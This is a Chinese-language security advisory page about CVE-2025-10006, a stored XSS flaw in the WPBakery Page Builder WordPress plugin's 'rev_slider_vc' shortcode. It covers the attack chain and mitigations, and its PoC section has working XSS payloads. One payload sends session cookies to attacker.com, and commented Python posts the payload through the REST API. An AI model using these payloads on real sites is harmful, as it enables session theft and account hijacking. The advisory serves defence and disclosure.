IPBUF安全漏洞报告
English
CVE-2025-10006 CVSS 6.4 中危

CVE-2025-10006:WPBakery Page Builder插件存储型XSS漏洞

披露日期: 2025-10-18

漏洞信息

漏洞编号
CVE-2025-10006
漏洞类型
存储型跨站脚本(Stored XSS)
CVSS评分
6.4 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
WPBakery Page Builder(WordPress插件)

相关标签

CVE-2025-10006Stored XSS存储型XSS跨站脚本WPBakeryWordPress插件漏洞RevSlider短代码注入中危漏洞

漏洞概述

CVE-2025-10006是WPBakery Page Builder插件中存在的一个存储型跨站脚本(Stored XSS)漏洞。该漏洞影响所有8.6及以下版本,CVSS评分为6.4,属于中危级别。WPBakery Page Builder是WordPress上广泛使用的一款可视化页面构建插件,拥有数百万级别的活跃安装量。该漏洞源于插件中'rev_slider_vc'短代码(shortcode)对用户提供的属性参数缺乏充分的输入过滤和输出转义机制,导致恶意脚本可以被持久化存储到页面中。当普通用户或管理员访问被注入恶意代码的页面时,嵌入的恶意脚本将在其浏览器上下文中自动执行。该漏洞的利用有一个前提条件,即目标网站必须同时安装了RevSlider插件,因为'rev_slider_vc'短代码是WPBakery与RevSlider集成的功能组件。成功利用此漏洞的攻击者可以在受害者浏览器中执行任意JavaScript代码,包括窃取会话Cookie、劫持用户账户、篡改页面内容、发起钓鱼攻击或将受害者重定向到恶意网站。由于该漏洞需要贡献者(Contributor)级别及以上权限的认证用户才能利用,因此攻击者通常需要先获取低权限账户,或通过社工手段诱导合法用户提交恶意内容。

技术细节

该漏洞的技术根源在于WPBakery Page Builder插件在处理'rev_slider_vc'短代码时,对用户传入的属性参数未进行充分的输入净化(sanitization)和输出转义(escaping)。具体而言,攻击者可以通过在短代码属性中注入恶意的JavaScript代码(例如通过onerror、onload事件处理器或<script>标签),这些代码会被存储到WordPress数据库的帖子内容中。当其他用户访问包含该短代码的页面时,WordPress渲染引擎会解析短代码并将未转义的用户输入直接输出到HTML页面中,导致浏览器执行嵌入的恶意脚本。攻击利用链如下:首先,攻击者需要拥有一个Contributor级别或以上的WordPress账户(可通过注册或社工获取);然后,在文章或页面编辑器中插入构造的'rev_slider_vc'短代码,在其属性中嵌入XSS Payload;接着,提交文章等待审核或直接发布(取决于权限);最后,当任何用户(包括管理员)访问该页面时,恶意脚本将在其浏览器中执行。由于是存储型XSS,恶意代码会持续存在,影响所有后续访问该页面的用户,且无需用户交互(UI:N),攻击影响范围随访问量扩大。

攻击链分析

STEP 1
步骤1:获取低权限账户
攻击者通过注册或社工手段获取目标WordPress站点的Contributor(贡献者)级别或以上权限账户。如果站点开放用户注册,可直接注册;否则通过钓鱼或购买泄露凭证获取。
STEP 2
步骤2:构造恶意短代码
攻击者在文章或页面编辑器中插入构造的'rev_slider_vc'短代码,在alias等属性参数中嵌入XSS Payload,例如使用<img src=x onerror=...>或<script>标签形式。
STEP 3
步骤3:提交并存储恶意内容
攻击者将包含恶意短代码的文章提交保存。如果攻击者具有更高权限(如Author、Editor),可直接发布;否则等待审核通过后发布。恶意代码被持久化存储到WordPress数据库中。
STEP 4
步骤4:触发恶意脚本执行
当任何用户(包括管理员)访问包含恶意短代码的页面时,WPBakery渲染'rev_slider_vc'短代码时未对属性进行转义,恶意脚本在受害者浏览器上下文中自动执行。
STEP 5
步骤5:实施进一步攻击
恶意脚本可窃取受害者会话Cookie、劫持管理员账户、植入后门、篡改页面内容、进行钓鱼攻击或将用户重定向到恶意网站,实现权限提升和持久化控制。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
<!-- CVE-2025-10006 PoC: Stored XSS via rev_slider_vc shortcode --> <!-- Prerequisites: RevSlider plugin must be installed on the target site --> <!-- Attacker needs Contributor-level or above WordPress access --> <!-- Malicious shortcode injection in post/page content --> [rev_slider_vc alias="<img src=x onerror=alert(document.cookie)>"] <!-- Alternative payload using event handler in alias attribute --> [rev_slider_vc alias="test\"><script>alert('XSS-CVE-2025-10006')</script>"] <!-- Payload for session hijacking demonstration --> [rev_slider_vc alias="<img src=x onerror='fetch(\"http://attacker.com/steal?c=\"+document.cookie)'>"] <!-- Automated exploitation via WordPress REST API (Python example) --> # import requests # target = "http://target-wordpress-site.com" # auth = ("contributor_user", "password123") # payload = '[rev_slider_vc alias="<script>alert(1)</script>"]' # response = requests.post( # f"{target}/wp-json/wp/v2/posts", # auth=auth, # json={"title": "Test Post", "content": payload, "status": "pending"} # )

影响范围

WPBakery Page Builder <= 8.6

防御指南

临时缓解措施
在无法立即升级插件的情况下,建议采取以下临时缓解措施:1)禁用或卸载RevSlider插件以移除'rev_slider_vc'短代码的触发条件;2)在WordPress后台通过角色管理插件限制Contributor及以下角色使用短代码功能;3)在主题的functions.php中添加代码过滤'rev_slider_vc'短代码的输出;4)部署WAF规则拦截包含可疑事件处理器(如onerror、onload)和<script>标签的短代码属性;5)严格审核所有Contributor及以上用户提交的文章内容;6)限制WordPress用户注册功能,避免开放注册被恶意利用。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表